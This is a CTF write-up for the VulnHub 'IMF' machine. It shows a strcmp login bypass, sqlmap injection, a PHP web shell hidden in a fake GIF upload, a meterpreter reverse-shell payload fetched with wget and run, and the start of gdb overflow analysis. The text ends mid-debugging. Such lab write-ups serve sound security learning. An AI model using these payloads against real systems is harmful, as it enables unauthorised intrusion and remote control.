IMF VulnHub Writeup

  1. Service discovery
  2. Flag 1
  3. Flag 2
  4. Flag 3
  5. Flag 4
  6. Flag 5
  7. Flag 6
  8. Conclusion

A new VM dropped on VulnHub today - IMF by Geckom. Let's do this!

Service discovery

root@kali:~# nmap -T4 -A -v 192.168.110.101

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-10-31 05:15 EDT
NSE: Loaded 140 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 05:15
Completed NSE at 05:15, 0.00s elapsed
Initiating NSE at 05:15
Completed NSE at 05:15, 0.00s elapsed
Initiating ARP Ping Scan at 05:15
Scanning 192.168.110.101 [1 port]
Completed ARP Ping Scan at 05:15, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:15
Completed Parallel DNS resolution of 1 host. at 05:15, 0.03s elapsed
Initiating SYN Stealth Scan at 05:15
Scanning 192.168.110.101 [1000 ports]
Discovered open port 80/tcp on 192.168.110.101
Completed SYN Stealth Scan at 05:15, 4.73s elapsed (1000 total ports)
Initiating Service scan at 05:15
Scanning 1 service on 192.168.110.101
Completed Service scan at 05:15, 6.06s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 192.168.110.101
NSE: Script scanning 192.168.110.101.
Initiating NSE at 05:15
Completed NSE at 05:15, 0.19s elapsed
Initiating NSE at 05:15
Completed NSE at 05:15, 0.00s elapsed
Nmap scan report for 192.168.110.101
Host is up (0.00042s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: IMF - Homepage
MAC Address: 08:00:27:A1:F5:E7 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.1, Linux 3.2 - 4.4, Linux 4.4
Uptime guess: 0.000 days (since Mon Oct 31 05:14:38 2016)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT     ADDRESS
1   0.42 ms 192.168.110.101

NSE: Script Post-scanning.
Initiating NSE at 05:15
Completed NSE at 05:15, 0.00s elapsed
Initiating NSE at 05:15
Completed NSE at 05:15, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.46 seconds
           Raw packets sent: 2042 (92.352KB) | Rcvd: 12 (608B)

So we've got a single port open - port 80 - behind which is apache.

Visiting the target presents us with the following site.

Flag 1

Browsing to http://192.168.110.101/contact.php and inspecting the source results in finding our first flag.

<section id="service">
    <div class="container">
        <!-- flag1{YWxsdGhlZmlsZXM=} -->
        <div class="service-wrapper">
            <div class="row">

Flag 2

In the HEAD portion of the source, I also notice that there are three scripts included - their filenames appear to be Base64 encoded.

<script src="js/ZmxhZzJ7YVcxbVl.js"></script>
<script src="js/XUnRhVzVwYzNS.js"></script>
<script src="js/eVlYUnZjZz09fQ==.min.js"></script>

Combining these together into a single Base64 string and decoding it results in our second flag.

root@kali:~# echo 'ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==' | base64 -d
flag2{aW1mYWRtaW5pc3RyYXRvcg==}

The last two flags have Base64 in their body - I decode these.

root@kali:~# echo 'YWxsdGhlZmlsZXM=' | base64 -d
allthefiles
root@kali:~# echo 'aW1mYWRtaW5pc3RyYXRvcg==' | base64 -d
imfadministrator

The first flag is an obvious hint to where we found the second, so the second must be a hint to where we can find the third.

Flag 3

I run dirsearch against the target.

root@kali:~/dirsearch# python3 dirsearch.py -u http://192.168.110.101 -e php

 _|. _ _  _  _  _ _|_    v0.3.7
(_||| _) (/_(_|| (_| )

Extensions: php | Threads: 10 | Wordlist size: 5151

Error Log: /root/dirsearch/logs/errors-16-10-31_06-08-44.log

Target: http://192.168.110.101

[06:08:45] Starting:
[06:08:45] 403 -  301B  - /.ht_wsr.txt
[06:08:45] 403 -  305B  - /.htaccess-local
[06:08:45] 403 -  303B  - /.htaccess-dev
[06:08:45] 403 -  305B  - /.htaccess-marco
[06:08:45] 403 -  294B  - /.hta
[06:08:45] 403 -  304B  - /.htaccess.bak1
[06:08:45] 403 -  303B  - /.htaccess.BAK
[06:08:45] 403 -  303B  - /.htaccess.old
[06:08:45] 403 -  306B  - /.htaccess.sample
[06:08:45] 403 -  304B  - /.htaccess.orig
[06:08:45] 403 -  304B  - /.htaccess.save
[06:08:45] 403 -  303B  - /.htaccess.txt
[06:08:45] 403 -  302B  - /.htaccessOLD
[06:08:45] 403 -  303B  - /.htaccessOLD2
[06:08:45] 403 -  305B  - /.htaccess_extra
[06:08:45] 403 -  302B  - /.htaccessBAK
[06:08:45] 403 -  300B  - /.htaccess~
[06:08:45] 403 -  302B  - /.htaccess_sc
[06:08:45] 403 -  304B  - /.htaccess_orig
[06:08:45] 403 -  298B  - /.htgroup
[06:08:45] 403 -  303B  - /.htpasswd-old
[06:08:45] 403 -  300B  - /.htpasswds
[06:08:45] 403 -  304B  - /.htpasswd_test
[06:08:45] 403 -  298B  - /.htusers
[06:08:54] 301 -  316B  - /css  ->  http://192.168.110.101/css/
[06:08:56] 301 -  318B  - /fonts  ->  http://192.168.110.101/fonts/
[06:08:57] 301 -  319B  - /images  ->  http://192.168.110.101/images/
[06:08:57] 200 -    5KB - /index.php
[06:08:57] 200 -    5KB - /index.php/login/
[06:08:57] 301 -  315B  - /js  ->  http://192.168.110.101/js/
[06:09:01] 403 -  303B  - /server-status
[06:09:01] 403 -  304B  - /server-status/

Task Completed

Not much of use here. I try using the string gained from flag 2 as a path - /imfadministrator.

Boom - an admin login panel. Within the source, we are given a bit of a hint.

<form method="POST" action="">
<label>Username:</label><input type="text" name="user" value=""><br />
<label>Password:</label><input type="password" name="pass" value=""><br />
<input type="submit" value="Login">
<!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->
</form>

Let's fire sqlmap off at this. Likelihood is it won't find anything, as Roger has said he's hardcoded the password, but let's try all the same.

...no dice. As expected, sqlmap came back empty handed. So from the Contact us page we have a few usernames to try.

rmichaels
akeith
estone

When we try to login with an invalid username, we're given some feedback to state that the username is invalid (it says Invalid username.). We can use this to help us enumerate valid usernames.

By trying each of the above usernames, we determine that the only valid username is rmichaels. Let's fire hydra off at the target with a small dictionary. There appears to be some sort of rate-limiting involved, so it is quite slow going.

After an hour or so, I decide to ditch the brute-force, and have a tinker with the request. In a few CTFs, type confusion has played a part. It's something I have in my 'to check' list when testing, and in this case it pays off.

As shown in the below screenshot, I update the name of the field pass to be pass[]. This means that PHP will interpret this field as an array, instead of a string. This can some times confuse validation or even string checks, as strcmp will return NULL if one of the inputs is an array.

I submit the form..

Awesome! There's our third flag.

flag3{Y29udGludWVUT2Ntcw==}

The flag decodes to continueTOcms.

So why did this work? If we inspect the source of index.php in the directory /imfadministrator/, we find the following.

<?php
session_start();
$loggedin=false;
if ($_SESSION['admin_logged_on'] == 'that is affirmative sir') {
        echo "flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, ".$_POST["user"] . "<br /><a href='cms.php?pagename=home'>IMF CMS</a>";
        $loggedin=true;
} elseif (isset($_POST["user"]) && isset($_POST["pass"])) {
    $password = "398fj289fj2389fj398fjhhds^&#hkseifw3893h#(&$$*838hjf";
    sleep(3); // do not bruteforce
    if ($_POST["user"]=='rmichaels') {
        if (strcmp($password, $_POST["pass"]) == 0) {
            $_SESSION['admin_logged_on'] = 'that is affirmative sir';
            echo "flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, ".$_POST["user"] . "<br /><a href='cms.php?pagename=home'>IMF CMS</a>";
            $loggedin=true;
        } else {
            echo "Invalid password";
        }
    } else {
        echo "Invalid username.";
    }

}
if($loggedin===false) {
?>
<form method="POST" action="">
<label>Username:</label><input type="text" name="user" value=""><br />
<label>Password:</label><input type="password" name="pass" value=""><br />
<input type="submit" value="Login">
<!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->
</form>
<?php } ?>

As we can see, the script compares the user input from the pass field to the hardcoded password, using the strcmp function. It then compares the result of this call to the value 0. If you use strcmp to compare a string and an array, it will return NULL. NULL == 0 = TRUE, as we're only using two equals signs. If the author had used three, then this bypass would not work, as NULL === 0 = FALSE.

Flag 4

I proceed to the CMS and am met with the following.

Unfortunately the Upload Report section is noted as Under Construction, and the Disavowed List doesn't have anything of real use. I play around with the URL by modifying the parameter pagename, and am met with an error message.

This suggests it is susceptible to SQLI. I fire up sqlmap.

root@kali:~/sqlmap# python sqlmap.py --threads 10 --url http://192.168.110.101/imfadministrator/cms.php?pagename=home --cookie "PHPSESSID=ebmdaumsdkk5hpbdrvuav3dj34"
         _
 ___ ___| |_____ ___ ___  {1.0-dev-af60f11}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 11:19:43

[11:19:43] [INFO] testing connection to the target URL
[11:19:43] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[11:19:43] [INFO] testing if the target URL is stable
[11:19:44] [INFO] target URL is stable
[11:19:44] [INFO] testing if GET parameter 'pagename' is dynamic
[11:19:44] [INFO] confirming that GET parameter 'pagename' is dynamic
[11:19:44] [INFO] GET parameter 'pagename' is dynamic
[11:19:44] [WARNING] heuristic (basic) test shows that GET parameter 'pagename' might not be injectable
[11:19:44] [INFO] testing for SQL injection on GET parameter 'pagename'
[11:19:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:19:44] [INFO] GET parameter 'pagename' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[11:19:44] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[11:19:44] [INFO] GET parameter 'pagename' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[11:19:46] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[11:19:46] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
GET parameter 'pagename' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 32 HTTP(s) requests:
---
Parameter: pagename (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pagename=home' AND 9022=9022 AND 'iLdM'='iLdM

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: pagename=home' AND (SELECT 2997 FROM(SELECT COUNT(*),CONCAT(0x71626a7171,(SELECT (ELT(2997=2997,1))),0x7176786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'NIix'='NIix
---
[11:19:47] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.18
back-end DBMS: MySQL 5.0
[11:19:47] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.110.101'

[*] shutting down at 11:19:47

Great stuff - let's see what we're dealing with.

After exploring the database, we find an unlisted page.

Database: admin
Table: pages
[4 entries]
+----+----------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | pagename             | pagedata                                                                                                                                                              |
+----+----------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1  | upload               | Under Construction.                                                                                                                                                   |
| 2  | home                 | Welcome to the IMF Administration.                                                                                                                                    |
| 3  | tutorials-incomplete | Training classrooms available. <br /><img src="./images/whiteboard.jpg"><br /> Contact us for training.                                                               |
| 4  | disavowlist          | <h1>Disavowed List</h1><img src="./images/redacted.jpg"><br /><ul><li>*********</li><li>****** ******</li><li>*******</li><li>**** ********</li></ul><br />-Secretary |
+----+----------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+

Browsing to http://192.168.110.101/imfadministrator/cms.php?pagename=tutorials-incomplete results in the following page.

What's that - a QR code? Decoding it on https://zxing.org/w/decode.jspx results in our fourth flag.

flag4{dXBsb2Fkcjk0Mi5waHA=}

The fourth flag decodes to uploadr942.php.

Flag 5

Browsing to http://192.168.110.101/imfadministrator/uploadr942.php results in the following page.

Yummy - an upload form. Unfortunately, it prevents us from uploading a PHP script, but we can upload a JPG file. The JPG file is accepted, however it is checked for validity. We can fake up a valid JPG file with the following snippet. I also add a little test script on to the end.

root@kali:~# echo 'FFD8FFEo' | xxd -r -p > test.jpg
root@kali:~# echo '<?php phpinfo(); ?>' >> test.jpg

After uploading the file, I inspect the source and find a comment with a hexadecimal string. This appears to be the filename within the uploads directory. I found the uploads directory by running dirsearch against the imfadministrator directory.

<h1>Intelligence Upload Form</h1>
File successfully uploaded.
<!-- fdf799a8eea2 --><form id="Upload" action="" enctype="multipart/form-data" method="post">
    <p>
        <label for="file">File to upload:</label>
        <input id="file" type="file" name="file">
    </p>

    <p>

I check to see if my PHP code is executed or not.

root@kali:~# curl -v http://192.168.110.101/imfadministrator/uploads/fdf799a8eea2.jpg
*   Trying 192.168.110.101...
* Connected to 192.168.110.101 (192.168.110.101) port 80 (#0)
> GET /imfadministrator/uploads/fdf799a8eea2.jpg HTTP/1.1
> Host: 192.168.110.101
> User-Agent: curl/7.43.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 31 Oct 2016 12:10:48 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Last-Modified: Mon, 31 Oct 2016 12:09:50 GMT
< ETag: "17-5402815b54045"
< Accept-Ranges: bytes
< Content-Length: 23
< Content-Type: image/jpeg
<
���<?php phpinfo(); ?>
* Connection #0 to host 192.168.110.101 left intact

Shucks. I spend some time playing with null characters, to try and trick the validation, but have no joy. I then try determining which (if any) other file types we can upload. No useful extensions are allowed, but I find something interesting after cycling through other image file types (jpeg, png, gif, bmp). Look what happens when we upload the same file with the file extension of gif.

root@kali:~# curl -v http://192.168.110.101/imfadministrator/uploads/2f2ee42d0bc3.gif
*   Trying 192.168.110.101...
* Connected to 192.168.110.101 (192.168.110.101) port 80 (#0)
> GET /imfadministrator/uploads/2f2ee42d0bc3.gif HTTP/1.1
> Host: 192.168.110.101
> User-Agent: curl/7.43.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 31 Oct 2016 12:13:07 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
<
���<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<style type="text/css">
body {background-color: #fff; color: #222; font-family: sans-serif;}
pre {margin: 0; font-family: monospace;}
a:link {color: #009; text-decoration: none; background-color: #fff;}
a:hover {text-decoration: underline;}
table {border-collapse: collapse; border: 0; width: 934px; box-shadow: 1px 2px 3px #ccc;}
.center {text-align: center;}

Code execution! The gif extension must be processed as a PHP file on the back end. Let's try and get something useful out of this!

I update our payload to include some basic command execution. I first try a call using system, but when I try to upload the file am met with the following message.

Error: CrappyWAF detected malware. Signature: system php function detected

Ok - so there's some content sensitive filtering going on. I roll through the usual PHP methods used to execute commands. After a number of failures, I land on the following.

root@kali:~# echo 'FFD8FFEo' | xxd -r -p > test.gif
root@kali:~# echo '<?php echo `id`; ?>' >> test.gif

Browsing to the file results in the output of the id command being returned.

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Now, how to use this to gain RCE. I expand upon my existing script to add some flexibility.

root@kali:~# echo 'FFD8FFEo' | xxd -r -p > test.gif
root@kali:~# echo '<?php $c=$_GET['c']; echo `$c`; ?>' >> test.gif

Now I can browse to http://192.168.110.101/imfadministrator/uploads/filehash.gif?c=id and get the same result.

root@kali:~# curl -v http://192.168.110.101/imfadministrator/uploads/04359ecd92a1.gif?c=id
*   Trying 192.168.110.101...
* Connected to 192.168.110.101 (192.168.110.101) port 80 (#0)
> GET /imfadministrator/uploads/04359ecd92a1.gif?c=id HTTP/1.1
> Host: 192.168.110.101
> User-Agent: curl/7.43.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 31 Oct 2016 12:27:36 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Content-Length: 57
< Content-Type: text/html; charset=UTF-8
<
���uid=33(www-data) gid=33(www-data) groups=33(www-data)
* Connection #0 to host 192.168.110.101 left intact

What else is in this directory? Performing an ls -alh results in the following.

total 80K
drwxr-xr-x 2 www-data www-data 4.0K Oct 31 08:26 .
drwxr-xr-x 4 www-data www-data 4.0K Oct 17 04:51 ..
-rw-r--r-- 1 www-data www-data   82 Oct 12 19:26 .htaccess
-rw-r--r-- 1 www-data www-data   35 Oct 31 08:26 04359ecd92a1.gif
-rw-r--r-- 1 www-data www-data   28 Oct 12 19:32 flag5_abc123def.txt

There's our fifth flag! I cat the file to retrieve the flag.

flag5{YWdlbnRzZXJ2aWNlcw==}

This flag decodes to agentservices. I check out the .htaccess file too, and see why we can execute PHP via GIF files.

AddType application/x-httpd-php .php .gif
AddHandler application/x-httpd-php .gif

Nice!

Flag 6

Using the above backdoor, I start checking out a few things. First of all, in the process list I notice that knockd is running.

root      1037  5.7  0.2   8752  2200 ?        Ss   08:07   1:38 /usr/sbin/knockd -d

I check out the current listening ports.

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:7788            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::80                   :::*                    LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -               
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -               

So my guess is that knockd will open the TCP port 7788 and 22 to the public when we hit it with the correct sequence. I try the default knockd sequence.

root@kali:~# nc -z 192.168.110.101 7000 8000 9000;

I perform another port scan, but no luck. I connect to port 7788 on the target to find out what we're dealing with by issuing the command nc localhost 7788.

___ __  __ ___
|_ _|  \/  | __|  Agent
| || |\/| | _|   Reporting
|___|_|  |_|_|    System


Agent ID :

Interesting..

After searching for files with the word agent in, I check out one of the hits at /etc/xinet.d/agent.

# default: on
# description: The agent server serves agent sessions
# unencrypted agentid for authentication.
service agent
{
       flags          = REUSE
       socket_type    = stream
       wait           = no
       user           = root
       server         = /usr/local/bin/agent
       log_on_failure += USERID
       disable        = no
       port           = 7788
}

So it looks like the above service runs from the binary /usr/local/bin/agent.

-rwxr-xr-x 1 root root 12K Oct 12 22:39 /usr/local/bin/agent

So this service runs as the root user. Feels like a vulnerable service to me. I retrieve the executable by base64 encoding the file with the command base64 -w 0 /usr/local/bin/agent, and then decoding locally in to the binary. I then chuck this up to the Retargetable Decompiler.

#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// ------------------------ Structures ------------------------

struct _IO_FILE {
    int32_t e0;
};

// ------------------- Function Prototypes --------------------

int32_t extractionpoints(void);
int32_t menu(void);
int32_t report(void);
int32_t requestextraction(void);

// --------------------- Global Variables ---------------------

struct _IO_FILE * g1 = NULL; // 0x804b040
char ** g2 = NULL; // 0x804b044

// ------------------------ Functions -------------------------

// Address range: 0x80485fb - 0x804874d
int main(int argc, char ** argv) {
    setbuf((struct _IO_FILE *)g2, NULL);
    int32_t str2;
    asprintf((char **)&str2, "%i", 0x2ddd984);
    puts("  ___ __  __ ___ ");
    puts(" |_ _|  \\/  | __|  Agent");
    puts("  | || |\\/| | _|   Reporting");
    puts(" |___|_|  |_|_|    System\n");
    printf("\nAgent ID : ");
    int32_t str;
    if (fgets((char *)&str, 9, g1) == NULL) {
        // 0x8048746
        return -1;
    }
    // 0x80486ad
    if (strncmp((char *)&str, (char *)str2, 8) != 0) {
        // 0x80486c6
        puts("Invalid Agent ID ");
        // branch -> 0x8048746
        // 0x8048746
        return -2;
    }
    while (true) {
      lab_0x80486de:;
        // 0x80486de
        int32_t result; // 0x804874d_2
        switch ((char)v1) {
            case 10: {
                // 0x80486f2
                puts("Login Validated ");
                switch (menu()) {
                    default: {
                        // 0x8048731
                        puts("Exiting...");
                        // branch -> 0x8048746
                        // 0x8048746
                        return 0;
                    }
                    case 1: {
                        // 0x8048710
                        extractionpoints();
                        // branch -> 0x8048746
                        // 0x8048746
                        return 0;
                    }
                    case 2: {
                        // 0x804871d
                        requestextraction();
                        // branch -> 0x8048746
                        // 0x8048746
                        return 0;
                    }
                    case 3: {
                        // 0x804872a
                        report();
                        // branch -> 0x8048746
                        // 0x8048746
                        return 0;
                    }
                }
                // 0x8048746
                return result;
            }
            case -1: {
                // 0x80486f2
                puts("Login Validated ");
                switch (menu()) {
                    default: {
                        // 0x8048731
                        puts("Exiting...");
                        // branch -> 0x8048746
                        // 0x8048746
                        return 0;
                    }
                    case 1: {
                        // 0x8048710
                        extractionpoints();
                        // branch -> 0x8048746
                        // 0x8048746
                        return 0;
                    }
                    case 2: {
                        // 0x804871d
                        requestextraction();
                        // branch -> 0x8048746
                        // 0x8048746
                        return 0;
                    }
                    case 3: {
                        // 0x804872a
                        report();
                        // branch -> 0x8048746
                        // 0x8048746
                        return 0;
                    }
                }
                // 0x8048746
                return result;
            }
            default: {
                goto lab_0x80486de;
            }
        }
    }
}

// Address range: 0x804874e - 0x80487e1
int32_t menu(void) {
    puts("Main Menu:");
    puts("1. Extraction Points");
    puts("2. Request Extraction");
    puts("3. Submit Report");
    puts("0. Exit");
    printf("Enter selection: ");
    int32_t result;
    scanf("%d", &result);
    // branch -> 0x80487c9
    while (true) {
      lab_0x80487c9:
        // 0x80487c9
        switch ((char)v1) {
            case 10: {
                // 0x80487dd
                return result;
            }
            case -1: {
                // 0x80487dd
                return result;
            }
            default: {
                goto lab_0x80487c9;
            }
        }
    }
}

// Address range: 0x80487e2 - 0x804888a
int32_t extractionpoints(void) {
    // 0x80487e2
    puts("\nExtraction Points:");
    puts("Staatsoper, Vienna, Austria");
    puts("Blenheim Palace, Woodstock, Oxfordshire, England, UK");
    puts("Great Windmill Street, Soho, London, England, UK");
    puts("Fawley Power Station, Southampton, England, UK");
    puts("Underground Station U4 Schottenring, Vienna, Austria");
    puts("Old Town Square, Old Town, Prague, Czech Republic");
    puts("Drake Hotel - 140 E. Walton Pl., Near North Side, Chicago, Illinois, USA");
    puts("Ashton Park, Mosman, Sydney, New South Wales, Australia");
    return puts("Argyle Place, The Rocks, Sydney, New South Wales, Australia");
}

// Address range: 0x804888b - 0x804890d
int32_t requestextraction(void) {
    puts("\nExtraction Request");
    printf("Enter extraction location: ");
    int32_t str;
    if (fgets((char *)&str, 55, g1) == NULL) {
        // 0x804890c
        return -1;
    }
    while (true) {
      lab_0x80488d4:;
        // 0x80488d4
        int32_t puts_rc; // 0x804890d_2
        switch ((char)v1) {
            case 10: {
                // 0x80488e8
                printf("Location: %s\n", &str);
                puts_rc = puts("Extraction team has been deployed.");
                // branch -> 0x804890c
                // 0x804890c
                return puts_rc;
            }
            case -1: {
                // 0x80488e8
                printf("Location: %s\n", &str);
                puts_rc = puts("Extraction team has been deployed.");
                // branch -> 0x804890c
                // 0x804890c
                return puts_rc;
            }
            default: {
                goto lab_0x80488d4;
            }
        }
    }
}

// Address range: 0x804890e - 0x804896f
int32_t report(void) {
    printf("\nEnter report update: ");
    int32_t str;
    gets((char *)&str);
    printf("Report: %s\n", &str);
    puts("Submitted for review.");
    return &str;
}

// --------------- Dynamically Linked Functions ---------------

// int asprintf(char ** restrict ptr, const char * restrict fmt, ...);
// char * fgets(char * restrict s, int n, FILE * restrict stream);
// int getchar(void);
// char * gets(char * s);
// int printf(const char * restrict format, ...);
// int puts(const char * s);
// int scanf(const char * restrict format, ...);
// void setbuf(FILE * restrict stream, char * restrict buf);
// int strncmp(const char * s1, const char * s2, size_t n);

// --------------------- Meta-Information ---------------------

// Detected compiler/packer: gcc (5.4.0)
// Detected functions: 5
// Decompiler release: v2.2.1 (2016-09-07)
// Decompilation date: 2016-10-31 14:04:49

So the binary prompts for an agent ID. This agent ID is hard coded in main to the integer value of 0x2DDD984, which is 48093572. To make this easier on myself, I generate a meterpreter payload, download it to the target with wget and then execute it using our backdoor.

root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.110.103 LPORT=4444 -f elf > imf-meterpreter
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 71 bytes
Final size of elf file: 155 bytes

root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.110.103 LPORT=4444 -f elf > imf-meterpreter^C
root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.110.101 - - [31/Oct/2016 09:58:16] "GET /imf-meterpreter HTTP/1.1" 200 -

On the backdoor, I executed the following commands (after starting the SimpleHTTPServer above).

wget http://192.168.110.103:8000/imf-meterpreter
chmod 777 imf-meterpreter

I then start up a handler in metasploit.

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.110.103PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.110.103
LHOST => 192.168.110.103
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > run

[*] Started reverse TCP handler on 192.168.110.103:4444
[*] Starting the payload handler...

And finally run the meterpreter payload by issuing the following command to the backdoor.

./imf-meterpreter

I'm then met by a meterpreter session.

[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.110.101
[*] Meterpreter session 1 opened (192.168.110.103:4444 -> 192.168.110.101:33438) at 2016-10-31 09:59:40 -0400

meterpreter >

I proceed to setup a port forward for port 7788.

meterpreter > portfwd add -l 7788 -p 7788 -r 127.0.0.1
[*] Local TCP relay created: :7788 <-> 127.0.0.1:7788

Then I connect and try entering the previously discovered agent number of 48093572.

root@kali:~# nc localhost 7788
  ___ __  __ ___
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System


Agent ID : 48093572
Login Validated
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection:

Nice! So, now we need to go back to the binary and figure out what we can use this for.

After some experimentation, it appears that the report function is vulnerable to a classic buffer overflow when reading in the report text. This was discovered by passing in a string of 1024 A characters. I took this further by running the binary locally in gdb and using pattern_create and pattern_offset to find out where we can overwrite eip.

root@kali:~# gdb -q ./agent
Reading symbols from ./agent...(no debugging symbols found)...done.
gdb-peda$ pattern_create 1024
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnC'
gdb-peda$ run
Starting program: /root/agent
  ___ __  __ ___
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System


Agent ID : 48093572
Login Validated
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection: 3

